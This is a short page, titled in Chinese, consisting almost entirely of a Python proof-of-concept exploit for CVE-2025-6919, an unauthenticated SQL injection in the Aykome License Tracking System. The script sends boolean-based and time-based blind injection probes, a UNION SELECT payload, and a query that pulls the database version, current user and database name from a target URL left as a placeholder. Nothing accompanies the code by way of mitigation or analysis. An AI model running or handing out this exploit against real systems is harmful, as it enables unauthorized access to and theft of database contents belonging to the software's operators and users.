CVE-2025-6919：Aykome许可证追踪系统SQL注入漏洞

# CVE-2025-6919 - Aykome License Tracking System SQL Injection PoC # Vulnerability: Unauthenticated SQL Injection via improper input neutralization # Affected: Aykome License Tracking System before version dated 06.10.2025 import requests import sys TARGET_URL = "http://target-host/path-to-vulnerable-endpoint" def detect_sql_injection(url, param_name="id"): """Detect SQL injection vulnerability""" # Normal request normal_payload = "1" # Boolean-based test payload true_payload = "1' OR '1'='1" false_payload = "1' OR '1'='2" try: # Test for boolean-based blind SQLi r_true = requests.get(url, params={param_name: true_payload}, timeout=10) r_false = requests.get(url, params={param_name: false_payload}, timeout=10) if len(r_true.text) != len(r_false.text) and r_true.status_code == 200: print(f"[+] Boolean-based SQLi detected at parameter: {param_name}") return True # Test for time-based blind SQLi time_payload = "1' AND SLEEP(5)-- -" import time start = time.time() requests.get(url, params={param_name: time_payload}, timeout=15) elapsed = time.time() - start if elapsed >= 5: print(f"[+] Time-based SQLi detected at parameter: {param_name}") return True except Exception as e: print(f"[-] Error during detection: {e}") return False def exploit_union_sqli(url, param_name="id", columns=5): """Exploit UNION-based SQL injection to extract data""" # Build UNION SELECT payload nulls = ",".join([str(i) for i in range(1, columns + 1)]) union_payload = f"-1' UNION SELECT {nulls}-- -" try: r = requests.get(url, params={param_name: union_payload}, timeout=10) if r.status_code == 200: print(f"[+] UNION injection successful") print(f"[+] Response: {r.text[:500]}") return r.text except Exception as e: print(f"[-] Exploitation error: {e}") return None def extract_database_info(url, param_name="id"): """Extract database version and current user via SQLi""" payload = "-1' UNION SELECT 1,version(),current_user(),database(),5-- -" try: r = requests.get(url, params={param_name: payload}, timeout=10) if r.status_code == 200 and "error" not in r.text.lower(): print(f"[+] Database info extracted") return r.text except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print(f"[*] Testing target: {TARGET_URL}") if detect_sql_injection(TARGET_URL): print("[*] Attempting data extraction...") exploit_union_sqli(TARGET_URL) extract_database_info(TARGET_URL)